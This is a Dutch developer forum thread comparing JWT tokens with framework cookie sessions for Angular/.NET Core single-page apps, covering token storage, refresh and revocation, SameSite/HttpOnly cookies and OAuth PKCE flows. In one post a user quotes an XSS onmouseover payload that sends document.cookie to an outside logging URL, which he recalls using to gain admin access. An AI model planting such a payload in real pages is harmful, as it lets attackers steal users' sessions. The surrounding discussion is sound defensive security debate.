Session management en Single Page Applications

[Lethalis]

In navolging van mijn vorige topic (Moet altijd alles een moderne SPA zijn?) - waardoor ik tot de conclusie gekomen ben dat ik voor de meeste projecten die ik doe, wel degelijk beter Single Page Applications kan bouwen - hou ik mij nu bezig met het sessie management in combinatie met SPA's.

Omdat ik zelf met Angular, .NET Core en SQL Server werk, zal ik dit vaak als voorbeeld aanhalen. Maar ik ben ook benieuwd hoe mensen met andere stacks het doen.

Van wat ik tot nu toe heb begrepen, zijn er grofweg 2 manieren om sessie management te doen.

1. JSON Web Tokens (JWT)

Zo ongeveer elk voorbeeld dat je op internet kunt vinden, gebruikt JWT om in een Angular applicatie iets van authorisatie in te bouwen. Het idee is dat je bij de server een token opvraagt op basis van bijvoorbeeld credentials en dat de server dan jou voorziet van een token met een beperkte geldigheid waarin bepaalde claims staan.

Om zeker te zijn dat deze claims waar zijn, is het token voorzien van een signature. Wanneer je vervolgens requests doet naar de server met dit token, dan kan het token gevalideerd worden om te controleren of de claims waar zijn.

Een voordeel van JWT is vooral de schaalbaarheid. Omdat niet voor elke request een login server / database geraadpleegd hoeft te worden - kun je in potentie veel meer requests aan.

Er kleven echter ook nadelen aan het gebruik van JSON Web Tokens. Als je namelijk iets van een sessie wil nabootsen, dan zul je tokens moeten kunnen refreshen. Wanneer dit niet goed geïmplementeerd wordt, kan hier van alles bij misgaan (refresh tokens mogen maar 1 keer gebruikt worden etc).

Daarnaast kun je een sessie niet actief beëindigen. Als iemand een geldig token heeft, dan blijft dat geldig totdat het verlopen is en kun je daar weinig aan doen.

In de praktijk zie ik dat mensen hier vaak wat mee aanrommelen. Ze gebruiken tokens die te lang geldig blijven, verzinnen gekke systemen om ze te refreshen, slaan tokens op in local storage enzovoorts.

2. Framework session management

Hierbij laat je het server side framework (in mijn geval .NET Core) de sessies managen. Om dit goed te laten samenwerken met Angular, dwing je af dat het gebruik van cookies essentieel is. Daarnaast vertel je Angular dat alle requests de optie "withCredentials" moeten gebruiken.

Het grote voordeel hiervan is dat server side frameworks vaak battle tested session management aan boord hebben, dat vaak makkelijk te configureren is en eenvoudiger te gebruiken is dan met JWT aan de slag te gaan.

Ook is deze oplossing heel veilig te maken, door cookies te gebruiken die een stricte SameSite policy hebben, HttpOnly en Secure zijn. Bovendien wordt de inhoud van het cookie door .NET Core versleuteld en kan automatisch de sessie ververst worden.

Potentiële nadelen zitten vooral op het front van schaalbaarheid, maar zijn oplosbaar:

Als je horizontaal moet schalen / load balancen dan kun je een in memory store (REDIS) of een persistente store (SQL Server / andere database) gebruiken voor de sessies.

De SPA en de API moeten - wat de browser betreft - op hetzelfde domein gehost worden. Anders wordt de cookie gezien als een third party cookie en wordt hij niet opgeslagen. Dit doen browsers om de privacy van de gebruiker te beschermen, omdat veel advertentieplatforms tracking cookies plaatsen.

Meestal is dit op te lossen door een reverse proxy te gebruiken, of door de SPA samen met de server applicatie te deployen.

Mijn vraag

Wat is nou best practice?

Het lijkt tegenwoordig alsof iedereen overal JWT of een andere vorm van token authenticatie gebruikt als je gaat zoeken op internet, maar is dat wel zo?

Hoeveel mensen hier gebruiken bijvoorbeeld de sessies van het server side framework in combinatie met een SPA?

Ik ben benieuwd

[armageddon_2k1]

Misschien een hele flauwe reactie, maar het lijkt erop dat je zelf er vrij veel al van weet en ik betwijfel of er een best practice is überhaupt. Het zijn beide goede strategieën en ik denk dat je de voor en nadelen mee moet nemen als één van de elementen in je afwegingen voor een project. Net als eventuele legacy elementen, team capabilities, interfaces, backends etc.

Het is voor mij een beetje hetzelfde als vragen of Net Core of Node als backend de best practice is. It depends. PHP sowieso niet

Mijn ervaring is dat er op zulke hoge niveaus in het designproces weinig echte best practices zijn omdat er zoveel afhankelijkheden zijn. Er zijn wel worst practices natuurlijk. Maar als het design functioneert, onderhoudbaar, het liefst niet NIH is en niet zo lek als het mandje is het in ieder geval een ok practice.

[ Voor 23% gewijzigd door armageddon_2k1 op 02-10-2019 21:18 ]

[Jantje2000]

armageddon_2k1 schreef op woensdag 2 oktober 2019 @ 21:15:
Misschien een hele flauwe reactie, maar het lijkt erop dat je zelf er vrij veel al van weet en ik betwijfel of er een best practice is überhaupt. Het zijn beide goede strategieën en ik denk dat je de voor en nadelen mee moet nemen als één van de elementen in je afwegingen voor een project. Net als eventuele legacy elementen, team capabilities, interfaces, backends etc.

Het is voor mij een beetje hetzelfde als vragen of Net Core of Node als backend de best practice is. It depends. PHP sowieso niet

Het is natuurlijk ook gewoon interessant om over te discussiëren en misschien krijg je er dan nog nieuwe ideeën bij, of het levert andere gezichtspunten op.

@Lethalis Ik ben nu bezig met ongeveer hetzelfde onderwerp, dus dit ga ik volgen

Lethalis schreef op woensdag 2 oktober 2019 @ 21:07:
slaan tokens op in local storage enzovoorts.

Dat doe ik momenteel ook

Mogelijk ga ik dat nog in cookies stoppen, maar wat zijn hier de grote nadelen van dan? Eigenlijk alleen maar dat dit zou kunnen worden opgevraagd bij een XSS toch?

[ Voor 16% gewijzigd door Jantje2000 op 02-10-2019 21:20 ]

[Lethalis]

Jantje2000 schreef op woensdag 2 oktober 2019 @ 17:41:
@Lethalis https://docs.microsoft.co...re-3.0&tabs=visual-studio dat bedoelde ik.

Maar door dit te gebruiken doet het dotnet run commando ook gelijk een ng serve op hetzelfde domein. Dus dat is iets gemakkelijker dan de wist folder in de wwwroot te plaatsen

Het Angular project template heb ik tot nu toe nog niet gebruikt. Ik zal hier eens naar kijken

Vooralsnog maakte ik altijd een los .NET Core project aan en een los Angular project.

Jantje2000 schreef op woensdag 2 oktober 2019 @ 21:17:
[...]
Dat doe ik momenteel ook

Mogelijk ga ik dat nog in cookies stoppen, maar wat zijn hier de grote nadelen van dan? Eigenlijk alleen maar dat dit zou kunnen worden opgevraagd bij een XSS toch?

Ja Local storage is niet bepaald de meest veilige plek om gevoelige informatie op te slaan.

https://dev.to/rdegges/please-stop-using-local-storage-1i04

https://medium.com/redtea...rage-via-xss-6048d91378a0

Enzovoorts

Hydra schreef op woensdag 2 oktober 2019 @ 18:06:
[...]
Ik snap niet wat dat met JWTs te maken heeft. Een JWT wordt meestal via een Auth header meegestuurd (Authorization: Bearer <Token>). An sich kan het met een cookie maar is niet standaard.

Hetzelfde geldt voor sessions; dit wordt vaak via cookies gedaan maar hoeft natuurlijk absoluut niet. Je kunt in de meeste frameworks zelf inregelen waar die session ID vandaan moet komen. Dit kan ook (wederom) gewoon een token in een header zijn.

Op dit moment gebruik ik dus ook geen JWT's meer, maar puur een session cookie die gegenereerd wordt door het .NET Core framework. Vandaar dat ik nu tegen dit probleem aanloop

Ik gebruik over 't algemeen geen sessions trouwens maar gewoon een login met een secret bearer token.

Hmm, maar je raadt mensen - als ik het goed begrijp - in het vorige topic in de meeste gevallen wel aan om geen JWT's te gebruiken en als alternatief juist wel het session management van het framework (in mijn geval dan .NET Core).

Kan ik hieruit afleiden dat jouw token geen JWT is, maar een andere oplossing? En / of dat de applicaties die jij meestal maakt beter gedijen bij een token oplossing?

armageddon_2k1 schreef op woensdag 2 oktober 2019 @ 21:15:
Misschien een hele flauwe reactie, maar het lijkt erop dat je zelf er vrij veel al van weet en ik betwijfel of er een best practice is überhaupt. Het zijn beide goede strategieën en ik denk dat je de voor en nadelen mee moet nemen als één van de elementen in je afwegingen voor een project. Net als eventuele legacy elementen, team capabilities, interfaces, backends etc.

Je kan er nooit genoeg over weten Bovendien heb ik het gevoel steeds minder te weten, naarmate ik meer dingen leer.

Vroeger was ik trots als ik Rome kon vinden, tegenwoordig ken ik 101 wegen naar Rome, maar welke nou handig is om te nemen? Dat wordt steeds lastiger eerlijk gezegd.

Mijn ervaring is dat er op zulke hoge niveaus in het designproces weinig echte best practices zijn omdat er zoveel afhankelijkheden zijn. Er zijn wel worst practices natuurlijk. Maar als het design functioneert, onderhoudbaar, het liefst niet NIH is en niet zo lek als het mandje is het in ieder geval een ok practice.

Mijn ervaring is juist dat je heel veel verkeerde beslissingen kunt nemen, die later vrij moeilijk te herstellen kunnen zijn. Waardoor het juist handig is om er met zoveel mogelijk mensen over te discussiëren.

Maar goed, nu komen we in een soort meta-discussie terecht.

Ik ben vooral ook benieuwd naar wat jullie gebruiken en waarom

PS
Ook kun je - net zoals in de medische wereld - met richtlijnen werken waarbij je dus in grote lijnen een beleid uitzet van wat je het beste kunt doen in welke situaties. Mijn vorige topic is in principe samen te vatten met dat de mate van interactiviteit bepaalt of je voor een SPA gaat of niet.

Wel heb ik met dit onderwerp - vanuit het oogpunt van security - een steeds grotere voorkeur voor framework session management en het gebruiken van cookies.

[ Voor 40% gewijzigd door Lethalis op 03-10-2019 07:35 ]

[Jantje2000]

Voorbeelden op internet zetten de geldigheid van een JWT token standaard ook heerlijk op 7 dagen

Voor het refreshen van een token, hoe zouden jullie dat laten werken? Wordt er in de auth.guard gewoon iedere authenticeer poging gecheckt hoe oud de token is, en als je token bijvoorbeeld 70% van z'n tijd heeft gehad wordt er een request gedaan voor een nieuw token?

Of laat je de server checken hoe oud een token is?

Lethalis schreef op woensdag 2 oktober 2019 @ 21:20:
[...]

Ja Local storage is niet bepaald de meest veilige plek om gevoelige informatie op te slaan.

https://dev.to/rdegges/please-stop-using-local-storage-1i04

https://medium.com/redtea...rage-via-xss-6048d91378a0

Enzovoorts

Ik snap wat je bedoelt en wat die artikelen bedoelen, echter ben ik het er niet voor 100% mee eens. Het enige punt wat in mijn ogen echt hout snijdt is dat een XSS aanval het token kan ophalen, zodat een hacker daarmee kan inloggen.

Dit wordt echter al grotendeels ongedaan gemaakt als je de token maar 10 minuten geldig houdt, hoewel de aanvaller natuurlijk ook gewoon een nieuw token kan aanvragen, waarmee dat token ongedaan gemaakt wordt.

Het allerbeste is natuurlijk om er voor te zorgen dat er geen XSS kan plaatsvinden in de aanval, echter zoals je eerste blog aangeeft, include je vaak scripts in de website die op hun beurt je gegevens op zouden kunnen halen, als die scripts niet te vertrouwen zouden zijn.

Echter, zoals een comment op die eerste blog ook al aangeeft: als je er vanuit gaat dat je een malafide script in je applicatie kunt hebben,dan is je veiligheid met een httpOnly cookie ook niet verzekerd. Dan kan er vanuit die script namelijk ook een request worden gestuurd met de .withCredentials() methode. Uiteindelijk kan de hacker dan niet alles aanklikken, echter kan er vanuit de script nog steeds gewoon requests worden verstuurd, als die is geinclude in je applicatie.

Daarnaast kan localStorage nog steeds niet worden benaderd vanaf een ander domein, dus tenzij er daarin een vulnerability in zit, is dat nog relatief veilig.

Zie ik hier iets over het hoofd?

[ Voor 67% gewijzigd door Jantje2000 op 03-10-2019 10:34 ]

[Lethalis]

Jantje2000 schreef op donderdag 3 oktober 2019 @ 08:53:
Zie ik hier iets over het hoofd?

De SameSite.Strict policy van cookies die je niet kunt toepassen op objecten in local storage?

Dat is het enige verschil dat zo snel in mij opkomt

Je kan dus objecten in local storage posten naar een ander domein (wanneer het jou lukt om scripts te draaien), terwijl een cookie waarvoor de SameSite.Strict policy geldt, nooit zal worden meegestuurd.

Daarom zet ik ook 3 dingen op mijn cookies:
1. HttpOnly: JavaScript kan er niet bij
2. SameSite.Strict: We mogen het cookie alleen op dezelfde site gebruiken
3. Secure: Het werkt alleen over HTTPS

Jantje2000 schreef op donderdag 3 oktober 2019 @ 08:53:
Echter, zoals een comment op die eerste blog ook al aangeeft: als je er vanuit gaat dat je een malafide script in je applicatie kunt hebben,dan is je veiligheid met een httpOnly cookie ook niet verzekerd. Dan kan er vanuit die script namelijk ook een request worden gestuurd met de .withCredentials() methode. Uiteindelijk kan de hacker dan niet alles aanklikken, echter kan er vanuit de script nog steeds gewoon requests worden verstuurd, als die is geinclude in je applicatie.

Op zich is dat mogelijk inderdaad. Ik laat dit nog even bezinken

[ Voor 72% gewijzigd door Lethalis op 03-10-2019 11:33 ]

[Jantje2000]

Lethalis schreef op donderdag 3 oktober 2019 @ 11:23:
[...]

De SameSite.Strict policy van cookies die je niet kunt toepassen op objecten in local storage?

Dat is het enige verschil dat zo snel in mij opkomt

Je kan dus objecten in local storage posten naar een ander domein, terwijl een cookie waarvoor de SameSite.Strict policy geldt, nooit zal worden meegestuurd.

Daarom zet ik ook 3 dingen op mijn cookies:
1. HttpOnly: JavaScript kan er niet bij
2. SameSite.Strict: We mogen het cookie alleen op dezelfde site gebruiken
3. Secure: Het werkt alleen over HTTPS

Ja dat begrijp ik. Maar die artikelen gaan er vanuit dat je een externe script gebruikt. Die externe script die zou in theorie malafide code kunnen bevatten, waardoor er dus een XSS mogelijk is gemaakt.

Echter, ik denk dat je, als dat het geval is, grotere problemen hebt dan dat iemand je jwt token op kan vragen. Want als je cookies gebruikt kan er vanuit die script toch ook een request worden gestuurd waarbij dat zelfde cookie wordt gebruikt? Het idee is dus:

Je gebruikt bootstrap en include bootstrap.min.js. In die bootstrap.min.js zit een functie en die stuurt met een ajax request de token naar de server van de aanvaller. Echter, als je dan dus cookies gebruikt kan die aanvaller niet meer zelf gaan inloggen, maar die kan vanuit de bootstrap.min.js bijvoorbeeld wel gewoon een request sturen naar /customer/delele-all. Waarbij in dit specifieke geval bijvoorbeeld alle klanten verwijderd worden.

Uiteindelijk heb je dus grotere problemen bij een XSS dan dat er een jwt token opgevraagd kan worden toch?

[whoami]

Lethalis schreef op woensdag 2 oktober 2019 @ 21:07:

1. JSON Web Tokens (JWT)

Er kleven echter ook nadelen aan het gebruik van JSON Web Tokens. Als je namelijk iets van een sessie wil nabootsen, dan zul je tokens moeten kunnen refreshen. Wanneer dit niet goed geïmplementeerd wordt, kan hier van alles bij misgaan (refresh tokens mogen maar 1 keer gebruikt worden etc).

Genoeg libraries of frameworks te vinden toch JWT tokens maken en die dit voor jou gaan afhandelen ?

Daarnaast kun je een sessie niet actief beëindigen. Als iemand een geldig token heeft, dan blijft dat geldig totdat het verlopen is en kun je daar weinig aan doen.

Je kan een token revoken.

slaan tokens op in local storage enzovoorts.

Als je een refresh token hebt, moet je dat ergens (veilig) opslaan, maar waar sla je dat dan op ?

[Lethalis]

Jantje2000 schreef op donderdag 3 oktober 2019 @ 11:34:
[...]
Uiteindelijk heb je dus grotere problemen bij een XSS dan dat er een jwt token opgevraagd kan worden toch?

Dat is een goed punt

Ik ben nu ook de reacties op dat blog aan het doorlezen Zie nu ook de reactie van Jonathan Gros-Dubois.

Kijk, daarom zijn dit soort discussies toch handig Je leert van elkaar.

[Jantje2000]

Lethalis schreef op donderdag 3 oktober 2019 @ 11:43:
[...]

Dat is een goed punt

Ik ben nu ook de reacties op dat blog aan het doorlezen Zie nu ook de reactie van Jonathan Gros-Dubois.

Kijk, daarom zijn dit soort discussies toch handig Je leert van elkaar.

Ja precies, daarom vind ik discussie ook interessant. Ik ben zelf stagair, dus ik vind het dan interessant hoe mensen ergens over denken.

Op dit moment gebruik ik gewoon de localStorage. Ik besef dat het nadelen kent, maar ik denk dat dit het beste is uit meerdere kwaden

Edit: misschien zou het nog iets beter zijn om de sessionStorage te gebruiken, want die wordt verwijderd na het sluiten van je tab, echter zijn mijn tokens maar 10 minuten geldig, en als er een request wordt gedaan, als het token nog maar 3 minuten geldig gaat zijn, dan doe ik een nieuw request om het token te refreshen. Best netjes zo denk ik, en ik denk dat het veilig genoeg is.

[ Voor 23% gewijzigd door Jantje2000 op 03-10-2019 11:47 ]

[BarôZZa]

Jantje2000 schreef op donderdag 3 oktober 2019 @ 11:34:
[...]

Ja dat begrijp ik. Maar die artikelen gaan er vanuit dat je een externe script gebruikt. Die externe script die zou in theorie malafide code kunnen bevatten, waardoor er dus een XSS mogelijk is gemaakt.

Echter, ik denk dat je, als dat het geval is, grotere problemen hebt dan dat iemand je jwt token op kan vragen. Want als je cookies gebruikt kan er vanuit die script toch ook een request worden gestuurd waarbij dat zelfde cookie wordt gebruikt? Het idee is dus:

Je gebruikt bootstrap en include bootstrap.min.js. In die bootstrap.min.js zit een functie en die stuurt met een ajax request de token naar de server van de aanvaller. Echter, als je dan dus cookies gebruikt kan die aanvaller niet meer zelf gaan inloggen, maar die kan vanuit de bootstrap.min.js bijvoorbeeld wel gewoon een request sturen naar /customer/delele-all. Waarbij in dit specifieke geval bijvoorbeeld alle klanten verwijderd worden.

Uiteindelijk heb je dus grotere problemen bij een XSS dan dat er een jwt token opgevraagd kan worden toch?

Dan moet je nog wel weten hoe het platform aan die kant werkt als je er zelf geen toegang toe hebt.

Vroegah, toen het web nog wat brakker was met zelfgebouwde forums op grote sites, heb ik nog wel dingen uit kunnen halen die een stuk makkelijker zijn dan het scenario dat jij omschrijft.

Afbeeldingen tags werden niet goed geparsed, dus kon je zelf onmouseover toevoegen. Dus dan kreeg je zoiets als: onmouseover="this.src='http://www.mijnserver.nl/logcookie?cookie=' + encodeURI(document.cookie);"

Hoefde je maar even te wachten en dan was je ingelogd als admin met één regel code. Met HttpOnly haal je dat eruit.

[Lethalis]

whoami schreef op donderdag 3 oktober 2019 @ 11:41:
[...]
Genoeg libraries of frameworks te vinden toch JWT tokens maken en die dit voor jou gaan afhandelen ?

Zijn er voor .NET nog meer dan IdentityServer4 die ik kan gebruiken?

Ik vind het tot nu toe namelijk een mijnenveld om dat ding goed aan de praat te krijgen.

Dat zal ongetwijfeld aan mijn gebrek aan ervaring ermee liggen, maar je krijgt al snel het idee dat je met een enorm systeem te maken hebt dat 101 mogelijkheden heeft, waarvan ik er vast een aantal verkeerd van zal configureren.

Alleen al de vele verschillende OAuth 2 grant types vind ik verwarrend.

Allemaal heel leuk voor als je een login van een externe provider wil gebruiken, maar voor de 13 in een dozijn "ik heb een lokale user met een gebruikersnaam en wachtwoord" oplossing voelt het erg overkill.

Ook werk ik vaak met bestaande databases, dus fijn dat ze steeds voorbeelden met EF Core doen en eigen tabellen die worden gegenereerd door het Identity framework, maar daar kan ik dus niks mee. Ik moet het gewoon aan bestaande tabellen met users knopen.

Eerst kijk je naar Implicit Grant Flow, later lees je weer dat je een Authorization code flow with the PKCE extension moet gebruiken. Enzovoorts.

Er komt zoveel bij kijken, waardoor de kans dat je dingen verkeerd doet ook groter is.

PS
Je kan op zich wel wat lower level JWT authentication toevoegen aan een API (zoals https://garywoodfine.com/...-authentication-tutorial/ ), en dat heb ik in het verleden ook gedaan... maar je komt dan al gauw met allerlei zaken te zitten die je wil inbouwen zoals Refresh Tokens. En elke keer denk je "dit moet makkelijker kunnen" of "hier is vast iets voor dat dit voor mij doet" etc. Want je wil het gewoon niet zelf doen. De kans dat je het vernaggelt is gewoon te groot.

De verleiding blijft natuurlijk wel groot om een random refresh token te genereren en op de server een tabelletje te hebben met user_id, refresh_token en expires.

En dit gewoon te bouwen en klaar is Kees. Maar dat voelt ergens een beetje vies.

Jantje2000 schreef op donderdag 3 oktober 2019 @ 08:53:
Voor het refreshen van een token, hoe zouden jullie dat laten werken?

Een mogelijkheid is dus om op de server bij te houden welke refresh tokens er zijn voor welke gebruikers en hoelang ze geldig zijn. Zodra een refresh token gebruikt wordt, verwijder je hem meteen.

Wanneer een gebruiker authenticeert, krijgt hij naast het access token een refresh token erbij, wat gewoon een random string kan zijn die jij dus opslaat voor de user etc.

Je kan dus gewoon een refresh_token tabel hebben met de token string, de user_id en een exires wanneer het afloopt.

Maar of je dit zelf moet gaan bouwen, vind ik discutabel. Ik neig er langzamerhand ook wel naar...

Voor de client kant:

https://angular-academy.com/angular-jwt/#refresh-token

[ Voor 50% gewijzigd door Lethalis op 03-10-2019 14:14 ]

[Jantje2000]

Lethalis schreef op donderdag 3 oktober 2019 @ 13:22:
[...]

Een mogelijkheid is dus om op de server bij te houden welke refresh tokens er zijn voor welke gebruikers en hoelang ze geldig zijn. Zodra een refresh token gebruikt wordt, verwijder je hem meteen.

Wanneer een gebruiker authenticeert, krijgt hij naast het access token een refresh token erbij, wat gewoon een random string kan zijn die jij dus opslaat in dat tabelletje bij de user etc.

Je kan dus gewoon een refresh_token tabel hebben met de token string, de user_id en een exires wanneer het afloopt.

Maar of je dit zelf moet gaan bouwen, vind ik discutabel. Ik neig er langzamerhand ook wel naar...

Ik doe het nu zonder refresh token. Gewoon als je geauthenticeerd bent, (dus al een normaal token hebt) krijg je een nieuw token, als je nog bestaat, (als je niet meer bestaat natuurlijk niet), waarbij het grote voordeel is, dat een hacker na 10 minuten niet meer kan inloggen, tenzij die ook refresht.

[Lethalis]

Jantje2000 schreef op donderdag 3 oktober 2019 @ 14:14:
[...]

Ik doe het nu zonder refresh token. Gewoon als je geauthenticeerd bent, (dus al een normaal token hebt) krijg je een nieuw token, als je nog bestaat, (als je niet meer bestaat natuurlijk niet), waarbij het grote voordeel is, dat een hacker na 10 minuten niet meer kan inloggen, tenzij die ook refresht.

Maar hoe revoke je dit dan?

In mijn situatie kun je iig de refresh token revoken om iemand te stoppen when the shit hits the fan.

[Jantje2000]

Lethalis schreef op donderdag 3 oktober 2019 @ 14:16:
[...]

Maar hoe revoke je dit dan?

In mijn situatie kun je iig de refresh token revoken om iemand te stoppen when the shit hits the fan.

Door de user inactief te maken.

Ik heb dus een auth.guard in javascript. Iedere pagerequest wordt er client side gecontroleerd hoe lang mijn token nog geldig is. Het token expired na 10 minuten, als er 7 minuten voorbij zijn, dan wordt er een request gestuurd naar

code:

/refresh-token

Daar wordt gecontrolleerd of de user actief is én of zijn account nog wel bestaat. Als dit allebei true is krijgt de user een nieuw token.

Ik hoef dus geen refresh token in te stellen, maar alleen maar de user op inactief te zetten, is een beetje het idee

[Lethalis]

@Jantje2000 Wat mij frustreert, is dat mensen dus hun eigen implementaties gaan zitten bouwen, omdat de JWT implementatie volgens Auth0 voor velen onpraktisch lijkt te zijn.

Auth0 stelt immers dat een SPA een onbetrouwbare client is, waarvoor je een Implicit Flow met Silent Authentication moet gebruiken om tokens te refreshen:

https://auth0.com/docs/flows/concepts/implicit

https://auth0.com/docs/ap...als/silent-authentication

Maar omdat veel mensen het prima vinden om wel degelijk local storage te gebruiken, of om bijvoorbeeld (zoals ik stiekem) toch een refresh token te bewaren, krijg je dus dat veel mensen het eigenlijk half implementeren en het als standaard niet goed werkt. Ook is het hele "ik heb een apart login scherm nodig" een requirement die vaak slecht te combineren valt met de verwachtingen (je wil vaak toch gewoon een login prompt die niet uit de toon valt bij de rest van jouw hippe SPA).

Ik vraag me wel af... stel ik zou toch voor cookies gaan en moet toch al een login scherm van een autorisatie server raadplegen, dan kan die toch ook meteen een cookie zetten? Dat zou het hele third party cookie probleem omzeilen wellicht.

Ach, stof tot nadenken. Ik ben tijdelijk even over op tokens met de JwtTokenHandler, omdat dit veel praktischer is ivm het los ontwikkelen van SPA en backend, maar heb mijn sessies code iig bewaard.

Ik ben er simpelweg nog niet tevreden over Dit moet beter kunnen.

PS
Mijn access token is 10 minuten geldig, het refresh token 20 minuten. Na 20 minuten heb je dus niets meer aan beide tokens en moet je opnieuw inloggen. Daarnaast kan ik refresh tokens revoken.

[ Voor 15% gewijzigd door Lethalis op 04-10-2019 07:26 ]

[Jantje2000]

Lethalis schreef op donderdag 3 oktober 2019 @ 23:07:
@Jantje2000 Wat mij frustreert, is dat mensen dus hun eigen implementaties gaan zitten bouwen, omdat de JWT implementatie volgens Auth0 voor velen onpraktisch lijkt te zijn.

Klopt. Maar er staat ook nergens *precies* hoe het zou moeten zijn. Auth0 heeft ook allemaal richtlijnen, maar dat is ook weer lastig voor een gemiddelde developer, om dat dan nog te implementeren.

Auth0 stelt immers dat een SPA een onbetrouwbare client is, waarvoor je een Implicit Flow met Silent Authentication moet gebruiken om tokens te refreshen:

https://auth0.com/docs/flows/concepts/implicit

https://auth0.com/docs/ap...als/silent-authentication

Ga ik even doorlezen en naar kijken

Maar omdat veel mensen het prima vinden om wel degelijk local storage te gebruiken, of om bijvoorbeeld (zoals ik stiekem) toch een refresh token te bewaren, krijg je dus dat veel mensen het eigenlijk half implementeren en het als standaard niet goed werkt. Ook is het hele "ik heb een apart login scherm nodig" een requirement die vaak slecht te combineren valt met de verwachtingen (je wil vaak toch gewoon een login prompt die niet uit de toon valt bij de rest van jouw hippe SPA).

Ja, maar zoals ik gisteren al aangaf ben ik nog niet echt overtuigd door de alternatieven van localStorage. Ik geloof best dat localStorage niet ideaal is, maar er is op dit moment gewoon niet heel veel beters.
De aanval gaat er al vanuit dat er malafide code in je applicatie ingeladen wordt, maar als dat het geval is, heb je grotere problemen, want zijn de uit te voeren acties nog steeds mogelijk als je een cookie gebruikt.

Ik vraag me wel af... stel ik zou toch voor cookies gaan en moet toch al een login scherm van een autorisatie server raadplegen, dan kan die toch ook meteen een cookie zetten? Dat zou het hele third party cookie probleem omzeilen wellicht.

Volgens mij doet het Microsoft template project, als je .NET Core met Angular kiest + individual accounts het ook zo. Dat inloggen je redirect naar een stukje serverside van de applicatie. Dan wordt er wel vanuit gegaan dat je de clientside app runt in een folder van de serverside app.

Mijn access token is 10 minuten geldig, het refresh token 20 minuten. Na 20 minuten heb je dus niets meer aan beide tokens en moet je opnieuw inloggen. Daarnaast kan ik refresh tokens revoken.

Het zal aan mij liggen, maar ik zie het voordeel van refreshtokens niet helemaal? Want als je XSS mogelijk is (wat de reden is dat tokens "onveilig" zijn), dan is het voor een hacker toch ook mogelijk om de refresh token op te halen?

Of is er een ander voordeel dat ik over het hoofd zie?

[GrooV]

Hier trouwens een goede / leuke talk @ NDC van Dominick Baier (een van de makers van Identity server) YouTube: Building Clients for OpenID Connect/OAuth 2-based Systems - Dominick...

Using protocols like OpenID Connect and OAuth 2 for authentication and API access can on one hand simply your front-ends dramatically since they don’t have to deal with credentials anymore – but on the other hand introduces new challenges like choosing the right protocol flow for the given client, secure token storage as well as token lifetime management.
This talk gives an overview over the best practices how to solve the above problems for both native server and client-side applications as well as browser-based applications and SPAs.

[Lethalis]

GrooV schreef op vrijdag 4 oktober 2019 @ 08:57:
Hier trouwens een goede / leuke talk @ NDC van Dominick Baier (een van de makers van Identity server) YouTube: Building Clients for OpenID Connect/OAuth 2-based Systems - Dominick...

Ik vind vooral geweldig hoe de talk eindigt

SameSite HttpOnly cookies for the win

Al vraag ik mij af waarom ik per se een BFF architectuur nodig heb als mijn applicatie toch monolithisch is. De "proxy" is in feite de hele applicatie bij mij.

Maar wel goede talk. Mij is nu tenminste ook duidelijk waarom Implicit Flow uit de gratie is geraakt door de komst van CORS. Ook fijn dat iemand helder uitlegt waar Hybrid Flow en PKCE door zijn ontstaan (om substitution attacks tegen te gaan).

Kortom, als ik per se tokens wil gebruiken doe ik er dus goed aan om Code flow met PKCE te gebruiken. Hier zijn dus blijkbaar ook handige JavaScript libraries voor die het aanvragen van tokens en het renewen ervan voor mij kunnen doen, zoals oidc-client-js

Mocht ik echter voor een simpelere oplossing willen gaan, dan moet ik gewoon een simpel login scherm hebben op een authorization server dat een SameSite cookie plaatst.

Al met al blijft wel overeind staan dat het grootste probleem XSS is. Met Angular ben je out of the box al behoorlijk beschermd ertegen. Natuurlijk bestaat het risico dat je een extern component gebruikt dat vals speelt en dan ben je alsnog de sjaak. Ook kan er altijd een foutje in Angular zitten en als je dan niet bijtijds de boel upgrade... tsja.

In ieder geval bedankt voor deze link! Het maakt het allemaal een stuk helderder.

Nu nog zelf beslissen wat ik hiermee ga doen Want ik voel nog steeds veel voor de cookie oplossing. Het is lekker simpel en out of the box behoorlijk veilig.

Dominick Baier begrijpt ook meteen waar het pijnpunt zit - wat ik ook zelf al eerder aanhaalde in dit topic - klanten willen niet naar een apart inlogscherm gestuurd worden. Dat ziet er wonky uit, is niet hip / modern / whatever.

Maar ik begrijp nu ook waarom hij er juist wantrouwig van wordt

Het voorbeeld van de iPhone backup / restore actie was ook geweldig

[GrooV]

Lethalis schreef op vrijdag 4 oktober 2019 @ 10:19:
[...]

Ik vind vooral geweldig hoe de talk eindigt

SameSite HttpOnly cookies for the win

Al vraag ik mij af waarom ik per se een BFF architectuur nodig heb als mijn applicatie toch monolithisch is. De "proxy" is in feite de hele applicatie bij mij.

Maar wel goede talk. Mij is nu tenminste ook duidelijk waarom Implicit Flow uit de gratie is geraakt door de komst van CORS. Ook fijn dat iemand helder uitlegt waar Hybrid Flow en PKCE door zijn ontstaan (om substitution attacks tegen te gaan).

Kortom, als ik per se tokens wil gebruiken doe ik er dus goed aan om Code flow met PKCE te gebruiken. Hier zijn dus blijkbaar ook handige JavaScript libraries voor die het aanvragen van tokens en het renewen ervan voor mij kunnen doen, zoals oidc-client-js

Mocht ik echter voor een simpelere oplossing willen gaan, dan moet ik gewoon een simpel login scherm hebben op een authorization server dat een SameSite cookie plaatst.

Al met al blijft wel overeind staan dat het grootste probleem XSS is. Met Angular ben je out of the box al behoorlijk beschermd ertegen. Natuurlijk bestaat het risico dat je een extern component gebruikt dat vals speelt en dan ben je alsnog de sjaak. Ook kan er altijd een foutje in Angular zitten en als je dan niet bijtijds de boel upgrade... tsja.

In ieder geval bedankt voor deze link! Het maakt het allemaal een stuk helderder.

Nu nog zelf beslissen wat ik hiermee ga doen Want ik voel nog steeds veel voor de cookie oplossing. Het is lekker simpel en out of the box behoorlijk veilig.

Dominick Baier begrijpt ook meteen waar het pijnpunt zit - wat ik ook zelf al eerder aanhaalde in dit topic - klanten willen niet naar een apart inlogscherm gestuurd worden. Dat ziet er wonky uit, is niet hip / modern / whatever.

Maar ik begrijp nu ook waarom hij er juist wantrouwig van wordt

Het voorbeeld van de iPhone backup / restore actie was ook geweldig

Klopt, hij legt het erg goed en duidelijk uit.

BFF architecture is natuurlijk alleen nodig als je andere API's aanroept. Als jouw API gewoon wat DB calls doet waar hij zelf bij kan dan is dat natuurlijk niet meer nodig want dan heb je maar 1 API en dat is sowieso een BFF

^{offtopic: overigens zijn bijna alle NDC talks een aanrader}

[Lethalis]

Jantje2000 schreef op vrijdag 4 oktober 2019 @ 08:46:
[...]
